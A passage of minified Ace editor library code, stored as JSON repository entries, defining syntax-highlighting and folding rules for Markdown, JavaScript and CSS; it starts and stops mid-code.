t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/markdown_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\",\"ace/mode/javascript_highlight_rules\",\"ace/mode/xml_highlight_rules\",\"ace/mode/html_highlight_rules\",\"ace/mode/css_highlight_rules\"],function(e,t,n){\"use strict\";function c(e,t){return{token:\"support.function\",regex:\"^\\\\s*```\"+e+\"\\\\s*$\",push:t+\"start\"}}var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=e(\"./javascript_highlight_rules\").JavaScriptHighlightRules,u=e(\"./xml_highlight_rules\").XmlHighlightRules,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./css_highlight_rules\").CssHighlightRules,l=function(e){return\"(?:[^\"+i.escapeRegExp(e)+\"\\\\\\\\]|\\\\\\\\.)*\"},h=function(){a.call(this),this.$rules.start.unshift({token:\"empty_line\",regex:\"^$\",next:\"allowBlock\"},{token:\"markup.heading.1\",regex:\"^=+(?=\\\\s*$)\"},{token:\"markup.heading.2\",regex:\"^\\\\-+(?=\\\\s*$)\"},{token:function(e){return\"markup.heading.\"+e.length},regex:/^#{1,6}(?=\\s*[^ #]|\\s+#.)/,next:\"header\"},c(\"(?:javascript|js)\",\"jscode-\"),c(\"xml\",\"xmlcode-\"),c(\"html\",\"htmlcode-\"),c(\"css\",\"csscode-\"),{token:\"support.function\",regex:\"^\\\\s*```\\\\s*\\\\S*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{token:\"constant\",regex:\"^ {0,2}(?:(?: ?\\\\* ?){3,}|(?: ?\\\\- ?){3,}|(?: ?\\\\_ ?){3,})\\\\s*$\",next:\"allowBlock\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\"}),this.addRules({basic:[{token:\"constant.language.escape\",regex:/\\\\[\\\\`*_{}\\[\\]()#+\\-.!]/},{token:\"support.function\",regex:\"(`+)(.*?[^`])(\\\\1)\"},{token:[\"text\",\"constant\",\"text\",\"url\",\"string\",\"text\"],regex:'^([ ]{0,3}\\\\[)([^\\\\]]+)(\\\\]:\\\\s*)([^ ]+)(\\\\s*(?:[\"][^\"]+[\"])?(\\\\s*))$'},{token:[\"text\",\"string\",\"text\",\"constant\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]s*\\\\[)(\"+l(\"]\")+\")(\\\\])\"},{token:[\"text\",\"string\",\"text\",\"markup.underline\",\"string\",\"text\"],regex:\"(\\\\[)(\"+l(\"]\")+\")(\\\\]\\\\()\"+'((?:[^\\\\)\\\\s\\\\\\\\]|\\\\\\\\.|\\\\s(?=[^\"]))*)'+'(\\\\s*\"'+l('\"')+'\"\\\\s*)?'+\"(\\\\))\"},{token:\"string.strong\",regex:\"([*]{2}|[_]{2}(?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:\"string.emphasis\",regex:\"([*]|[_](?=\\\\S))(.*?\\\\S[*_]*)(\\\\1)\"},{token:[\"text\",\"url\",\"text\"],regex:\"(<)((?:https?|ftp|dict):[^'\\\">\\\\s]+|(?:mailto:)?[-.\\\\w]+\\\\@[-a-z0-9]+(?:\\\\.[-a-z0-9]+)*\\\\.[a-z]+)(>)\"}],allowBlock:[{token:\"support.function\",regex:\"^ {4}.+\",next:\"allowBlock\"},{token:\"empty\",regex:\"\",next:\"start\"}],header:[{regex:\"$\",next:\"start\"},{include:\"basic\"},{defaultToken:\"heading\"}],\"listblock-start\":[{token:\"support.variable\",regex:/(?:\\[[ x]\\])?/,next:\"listblock\"}],listblock:[{token:\"empty_line\",regex:\"^$\",next:\"start\"},{token:\"markup.list\",regex:\"^\\\\s{0,3}(?:[*+-]|\\\\d+\\\\.)\\\\s+\",next:\"listblock-start\"},{include:\"basic\",noEscape:!0},{token:\"support.function\",regex:\"^\\\\s*```\\\\s*[a-zA-Z]*(?:{.*?\\\\})?\\\\s*$\",next:\"githubblock\"},{defaultToken:\"list\"}],blockquote:[{token:\"empty_line\",regex:\"^\\\\s*$\",next:\"start\"},{token:\"string.blockquote\",regex:\"^\\\\s*>\\\\s*(?:[*+-]|\\\\d+\\\\.)?\\\\s+\",next:\"blockquote\"},{include:\"basic\",noEscape:!0},{defaultToken:\"string.blockquote\"}],githubblock:[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"start\"},{token:\"support.function\",regex:\".+\"}]}),this.embedRules(o,\"jscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(a,\"htmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(f,\"csscode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.embedRules(u,\"xmlcode-\",[{token:\"support.function\",regex:\"^\\\\s*```\",next:\"pop\"}]),this.normalizeRules()};r.inherits(h,s),t.MarkdownHighlightRules=h}),ace.define(\"ace/mode/folding/markdown\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.foldingStartMarker=/^(?:[=-]+\\s*$|#{1,6} |`{3})/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);return this.foldingStartMarker.test(r)?r[0]==\"`\"?e.bgTokenizer.getState(n)==\"start\"?\"end\":\"start\":\"start\":\"\"},this.getFoldWidgetRange=function(e,t,n){function l(t){return f=e.getTokens(t)[0],f&&f.type.lastIndexOf(c,0)===0}function h(){var e=f.value[0];return e==\"=\"?6:e==\"-\"?5:7-f.value.search(/[^#]/)}var r=e.getLine(n),i=r.length,o=e.getLength(),u=n,a=n;if(!r.match(this.foldingStartMarker))return;if(r[0]==\"`\"){if(e.bgTokenizer.getState(n)!==\"start\"){while(++n<o){r=e.getLine(n);if(r[0]==\"`\"&r.substring(0,3)==\"```\")break}return new s(u,i,n,0)}while(n-->0){r=e.getLine(n);if(r[0]==\"`\"&r.substring(0,3)==\"```\")break}return new s(n,r.length,u,0)}var f,c=\"markup.heading\";if(l(n)){var p=h();while(++n<o){if(!l(n))continue;var d=h();if(d>=p)break}a=n-(!f||[\"=\",\"-\"].indexOf(f.value[0])==-1?1:2);if(a>u)while(a>u&&/^\\s*$/.test(e.getLine(a)))a--;if(a>u){var v=e.getLine(a).length;return new s(u,i,a,v)}}}}.call(o.prototype)}),ace.define(\"ace/mode/markdown\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/xml\",\"ace/mode/html\",\"ace/mode/markdown_highlight_rules\",\"ace/mode/folding/markdown\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./javascript\").Mode,o=e(\"./xml\").Mode,u=e(\"./html\").Mode,a=e(\"./markdown_highlight_rules\").MarkdownHighlightRules,f=e(\"./folding/markdown\").FoldMode,l=function(){this.HighlightRules=a,this.createModeDelegates({\"js-\":s,\"xml-\":o,\"html-\":u}),this.foldingRules=new f};r.inherits(l,i),function(){this.type=\"text\",this.blockComment={start:\"<!--\",end:\"-->\"},this.getNextLineIndent=function(e,t,n){if(e==\"listblock\"){var r=/^(\\s*)(?:([-+*])|(\\d+)\\.)(\\s+)/.exec(t);if(!r)return\"\";var i=r[2];return i||(i=parseInt(r[3],10)+1+\".\"),r[1]+i+r[4]}return this.$getIndent(t)},this.$id=\"ace/mode/markdown\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-mask.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.function.dom\"],regex:/(\\.)(s(?:ub(?:stringData|mit)|plitText|e(?:t(?:NamedItem|Attribute(?:Node)?)|lect))|has(?:ChildNodes|Feature)|namedItem|c(?:l(?:ick|o(?:se|neNode))|reate(?:C(?:omment|DATASection|aption)|T(?:Head|extNode|Foot)|DocumentFragment|ProcessingInstruction|E(?:ntityReference|lement)|Attribute))|tabIndex|i(?:nsert(?:Row|Before|Cell|Data)|tem)|open|delete(?:Row|C(?:ell|aption)|T(?:Head|Foot)|Data)|focus|write(?:ln)?|a(?:dd|ppend(?:Child|Data))|re(?:set|place(?:Child|Data)|move(?:NamedItem|Child|Attribute(?:Node)?)?)|get(?:NamedItem|Element(?:sBy(?:Name|TagName|ClassName)|ById)|Attribute(?:Node)?)|blur)\\b(?=\\()/},{token:[\"punctuation.operator\",\"support.constant\"],regex:/(\\.)(s(?:ystemLanguage|cr(?:ipts|ollbars|een(?:X|Y|Top|Left))|t(?:yle(?:Sheets)?|atus(?:Text|bar)?)|ibling(?:Below|Above)|ource|uffixes|e(?:curity(?:Policy)?|l(?:ection|f)))|h(?:istory|ost(?:name)?|as(?:h|Focus))|y|X(?:MLDocument|SLDocument)|n(?:ext|ame(?:space(?:s|URI)|Prop))|M(?:IN_VALUE|AX_VALUE)|c(?:haracterSet|o(?:n(?:structor|trollers)|okieEnabled|lorDepth|mp(?:onents|lete))|urrent|puClass|l(?:i(?:p(?:boardData)?|entInformation)|osed|asses)|alle(?:e|r)|rypto)|t(?:o(?:olbar|p)|ext(?:Transform|Indent|Decoration|Align)|ags)|SQRT(?:1_2|2)|i(?:n(?:ner(?:Height|Width)|put)|ds|gnoreCase)|zIndex|o(?:scpu|n(?:readystatechange|Line)|uter(?:Height|Width)|p(?:sProfile|ener)|ffscreenBuffering)|NEGATIVE_INFINITY|d(?:i(?:splay|alog(?:Height|Top|Width|Left|Arguments)|rectories)|e(?:scription|fault(?:Status|Ch(?:ecked|arset)|View)))|u(?:ser(?:Profile|Language|Agent)|n(?:iqueID|defined)|pdateInterval)|_content|p(?:ixelDepth|ort|ersonalbar|kcs11|l(?:ugins|atform)|a(?:thname|dding(?:Right|Bottom|Top|Left)|rent(?:Window|Layer)?|ge(?:X(?:Offset)?|Y(?:Offset)?))|r(?:o(?:to(?:col|type)|duct(?:Sub)?|mpter)|e(?:vious|fix)))|e(?:n(?:coding|abledPlugin)|x(?:ternal|pando)|mbeds)|v(?:isibility|endor(?:Sub)?|Linkcolor)|URLUnencoded|P(?:I|OSITIVE_INFINITY)|f(?:ilename|o(?:nt(?:Size|Family|Weight)|rmName)|rame(?:s|Element)|gColor)|E|whiteSpace|l(?:i(?:stStyleType|n(?:eHeight|kColor))|o(?:ca(?:tion(?:bar)?|lName)|wsrc)|e(?:ngth|ft(?:Context)?)|a(?:st(?:M(?:odified|atch)|Index|Paren)|yer(?:s|X)|nguage))|a(?:pp(?:MinorVersion|Name|Co(?:deName|re)|Version)|vail(?:Height|Top|Width|Left)|ll|r(?:ity|guments)|Linkcolor|bove)|r(?:ight(?:Context)?|e(?:sponse(?:XML|Text)|adyState))|global|x|m(?:imeTypes|ultiline|enubar|argin(?:Right|Bottom|Top|Left))|L(?:N(?:10|2)|OG(?:10E|2E))|b(?:o(?:ttom|rder(?:Width|RightWidth|BottomWidth|Style|Color|TopWidth|LeftWidth))|ufferDepth|elow|ackground(?:Color|Image)))\\b/},{token:[\"support.constant\"],regex:/that\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function.firebug\"],regex:/(console)(\\.)(warn|info|log|error|time|trace|timeEnd|assert)\\b/},{token:t,regex:r},{token:\"keyword.operator\",regex:/--|\\+\\+|===|==|=|!=|!==|<=|>=|<<=|>>=|>>>=|<>|<|>|!|&&|\\|\\||\\?\\:|[!$%&*+\\-~\\/^]=?/,next:\"start\"},{token:\"punctuation.operator\",regex:/[?:,;.]/,next:\"start\"},{token:\"paren.lparen\",regex:/[\\[({]/,next:\"start\"},{token:\"paren.rparen\",regex:/[\\])}]/},{token:\"comment\",regex:/^#!.*$/}],start:[i.getStartRule(\"doc-start\"),{token:\"comment\",regex:\"\\\\/\\\\*\",next:\"comment_regex_allowed\"},{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment_regex_allowed\"},{token:\"string.regexp\",regex:\"\\\\/\",next:\"regex\"},{token:\"text\",regex:\"\\\\s+|^$\",next:\"start\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],regex:[{token:\"regexp.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"string.regexp\",regex:\"/[sxngimy]*\",next:\"no_regex\"},{token:\"invalid\",regex:/\\{\\d+\\b,?\\d*\\}[+*]|[+*$^?][+*]|[$^][?]|\\?{3,}/},{token:\"constant.language.escape\",regex:/\\(\\?[:=!]|\\)|\\{\\d+\\b,?\\d*\\}|[+*]\\?|[()$^+*?.]/},{token:\"constant.language.delimiter\",regex:/\\|/},{token:\"constant.language.escape\",regex:/\\[\\^?/,next:\"regex_character_class\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp\"}],regex_character_class:[{token:\"regexp.charclass.keyword.operator\",regex:\"\\\\\\\\(?:u[\\\\da-fA-F]{4}|x[\\\\da-fA-F]{2}|.)\"},{token:\"constant.language.escape\",regex:\"]\",next:\"regex\"},{token:\"constant.language.escape\",regex:\"-\"},{token:\"empty\",regex:\"$\",next:\"no_regex\"},{defaultToken:\"string.regexp.charachterclass\"}],function_arguments:[{token:\"variable.parameter\",regex:r},{token:\"punctuation.operator\",regex:\"[, ]+\"},{token:\"punctuation.operator\",regex:\"$\"},{token:\"empty\",regex:\"\",next:\"no_regex\"}],comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],comment:[i.getTagRule(),{token:\"comment\",regex:\"\\\\*\\\\/\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment_regex_allowed:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"start\"},{defaultToken:\"comment\",caseInsensitive:!0}],line_comment:[i.getTagRule(),{token:\"comment\",regex:\"$|^\",next:\"no_regex\"},{defaultToken:\"comment\",caseInsensitive:!0}],qqstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qqstring\"},{token:\"string\",regex:'\"|$',next:\"no_regex\"},{defaultToken:\"string\"}],qstring:[{token:\"constant.language.escape\",regex:s},{token:\"string\",regex:\"\\\\\\\\$\",next:\"qstring\"},{token:\"string\",regex:\"'|$\",next:\"no_regex\"},{defaultToken:\"string\"}]},(!e||!e.noES6)&&this.$rules.no_regex.unshift({regex:\"[{}]\",onMatch:function(e,t,n){this.next=e==\"{\"?this.nextState:\"\";if(e==\"{\"&&n.length)return n.unshift(\"start\",t),\"paren\";if(e==\"}\"&&n.length){n.shift(),this.next=n.shift();if(this.next.indexOf(\"string\")!=-1)return\"paren.quasi.end\"}return e==\"{\"?\"paren.lparen\":\"paren.rparen\"},nextState:\"start\"},{token:\"string.quasi.start\",regex:/`/,push:[{token:\"constant.language.escape\",regex:s},{token:\"paren.quasi.start\",regex:/\\${/,push:\"start\"},{token:\"string.quasi.end\",regex:/`/,next:\"pop\"},{defaultToken:\"string.quasi\"}]}),this.embedRules(i,\"doc-\",[i.getEndRule(\"no_regex\")]),this.normalizeRules()};r.inherits(o,s),t.JavaScriptHighlightRules=o}),ace.define(\"ace/mode/css_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=t.supportType=\"animation-fill-mode|alignment-adjust|alignment-baseline|animation-delay|animation-direction|animation-duration|animation-iteration-count|animation-name|animation-play-state|animation-timing-function|animation|appearance|azimuth|backface-visibility|background-attachment|background-break|background-clip|background-color|background-image|background-origin|background-position|background-repeat|background-size|background|baseline-shift|binding|bleed|bookmark-label|bookmark-level|bookmark-state|bookmark-target|border-bottom|border-bottom-color|border-bottom-left-radius|border-bottom-right-radius|border-bottom-style|border-bottom-width|border-collapse|border-color|border-image|border-image-outset|border-image-repeat|border-image-slice|border-image-source|border-image-width|border-left|border-left-color|border-left-style|border-left-width|border-radius|border-right|border-right-color|border-right-style|border-right-width|border-spacing|border-style|border-top|border-top-color|border-top-left-radius|border-top-right-radius|border-top-style|border-top-width|border-width|border|bottom|box-align|box-decoration-break|box-direction|box-flex-group|box-flex|box-lines|box-ordinal-group|box-orient|box-pack|box-shadow|box-sizing|break-after|break-before|break-inside|caption-side|clear|clip|color-profile|color|column-count|column-fill|column-gap|column-rule|column-rule-color|column-rule-style|column-rule-width|column-span|column-width|columns|content|counter-increment|counter-reset|crop|cue-after|cue-before|cue|cursor|direction|display|dominant-baseline|drop-initial-after-adjust|drop-initial-after-align|drop-initial-before-adjust|drop-initial-before-align|drop-initial-size|drop-initial-value|elevation|empty-cells|fit|fit-position|float-offset|float|font-family|font-size|font-size-adjust|font-stretch|font-style|font-variant|font-weight|font|grid-columns|grid-rows|hanging-punctuation|height|hyphenate-after|hyphenate-before|hyphenate-character|hyphenate-lines|hyphenate-resource|hyphens|icon|image-orientation|image-rendering|image-resolution|inline-box-align|left|letter-spacing|line-height|line-stacking-ruby|line-stacking-shift|line-stacking-strategy|line-stacking|list-style-image|list-style-position|list-style-type|list-style|margin-bottom|margin-left|margin-right|margin-top|margin|mark-after|mark-before|mark|marks|marquee-direction|marquee-play-count|marquee-speed|marquee-style|max-height|max-width|min-height|min-width|move-to|nav-down|nav-index|nav-left|nav-right|nav-up|opacity|orphans|outline-color|outline-offset|outline-style|outline-width|outline|overflow-style|overflow-x|overflow-y|overflow|padding-bottom|padding-left|padding-right|padding-top|padding|page-break-after|page-break-before|page-break-inside|page-policy|page|pause-after|pause-before|pause|perspective-origin|perspective|phonemes|pitch-range|pitch|play-during|pointer-events|position|presentation-level|punctuation-trim|quotes|rendering-intent|resize|rest-after|rest-before|rest|richness|right|rotation-point|rotation|ruby-align|ruby-overhang|ruby-position|ruby-span|size|speak-header|speak-numeral|speak-punctuation|speak|speech-rate|stress|string-set|table-layout|target-name|target-new|target-position|target|text-align-last|text-align|text-decoration|text-emphasis|text-height|text-indent|text-justify|text-outline|text-shadow|text-transform|text-wrap|top|transform-origin|transform-style|transform|transition-delay|transition-duration|transition-property|transition-timing-function|transition|unicode-bidi|vertical-align|visibility|voice-balance|voice-duration|voice-family|voice-pitch-range|voice-pitch|voice-rate|voice-stress|voice-volume|volume|white-space-collapse|white-space|widows|width|word-break|word-spacing|word-wrap|z-index\",u=t.supportFunction=\"rgb|rgba|url|attr|counter|counters\",a=t.supportConstant=\"absolute|after-edge|after|all-scroll|all|alphabetic|always|antialiased|armenian|auto|avoid-column|avoid-page|avoid|balance|baseline|before-edge|before|below|bidi-override|block-line-height|block|bold|bolder|border-box|both|bottom|box|break-all|break-word|capitalize|caps-height|caption|center|central|char|circle|cjk-ideographic|clone|close-quote|col-resize|collapse|column|consider-shifts|contain|content-box|cover|crosshair|cubic-bezier|dashed|decimal-leading-zero|decimal|default|disabled|disc|disregard-shifts|distribute-all-lines|distribute-letter|distribute-space|distribute|dotted|double|e-resize|ease-in|ease-in-out|ease-out|ease|ellipsis|end|exclude-ruby|fill|fixed|georgian|glyphs|grid-height|groove|hand|hanging|hebrew|help|hidden|hiragana-iroha|hiragana|horizontal|icon|ideograph-alpha|ideograph-numeric|ideograph-parenthesis|ideograph-space|ideographic|inactive|include-ruby|inherit|initial|inline-block|inline-box|inline-line-height|inline-table|inline|inset|inside|inter-ideograph|inter-word|invert|italic|justify|katakana-iroha|katakana|keep-all|last|left|lighter|line-edge|line-through|line|linear|list-item|local|loose|lower-alpha|lower-greek|lower-latin|lower-roman|lowercase|lr-tb|ltr|mathematical|max-height|max-size|medium|menu|message-box|middle|move|n-resize|ne-resize|newspaper|no-change|no-close-quote|no-drop|no-open-quote|no-repeat|none|normal|not-allowed|nowrap|nw-resize|oblique|open-quote|outset|outside|overline|padding-box|page|pointer|pre-line|pre-wrap|pre|preserve-3d|progress|relative|repeat-x|repeat-y|repeat|replaced|reset-size|ridge|right|round|row-resize|rtl|s-resize|scroll|se-resize|separate|slice|small-caps|small-caption|solid|space|square|start|static|status-bar|step-end|step-start|steps|stretch|strict|sub|super|sw-resize|table-caption|table-cell|table-column-group|table-column|table-footer-group|table-header-group|table-row-group|table-row|table|tb-rl|text-after-edge|text-before-edge|text-bottom|text-size|text-top|text|thick|thin|transparent|underline|upper-alpha|upper-latin|upper-roman|uppercase|use-script|vertical-ideographic|vertical-text|visible|w-resize|wait|whitespace|z-index|zero\",f=t.supportConstantColor=\"aqua|black|blue|fuchsia|gray|green|lime|maroon|navy|olive|orange|purple|red|silver|teal|white|yellow\",l=t.supportConstantFonts=\"arial|century|comic|courier|cursive|fantasy|garamond|georgia|helvetica|impact|lucida|symbol|system|tahoma|times|trebuchet|utopia|verdana|webdings|sans-serif|serif|monospace\",c=t.numRe=\"\\\\-?(?:(?:[0-9]+)|(?:[0-9]*\\\\.[0-9]+))\",h=t.pseudoElements=\"(\\\\:+)\\\\b(after|before|first-letter|first-line|moz-selection|selection)\\\\b\",p=t.pseudoClasses=\"(:)\\\\b(active|checked|disabled|empty|enabled|first-child|first-of-type|focus|hover|indeterminate|invalid|last-child|last-of-type|link|not|nth-child|nth-last-child|nth-last-of-type|nth-of-type|only-child|only-of-type|required|root|target|valid|visited)\\\\b\",d=function(){var 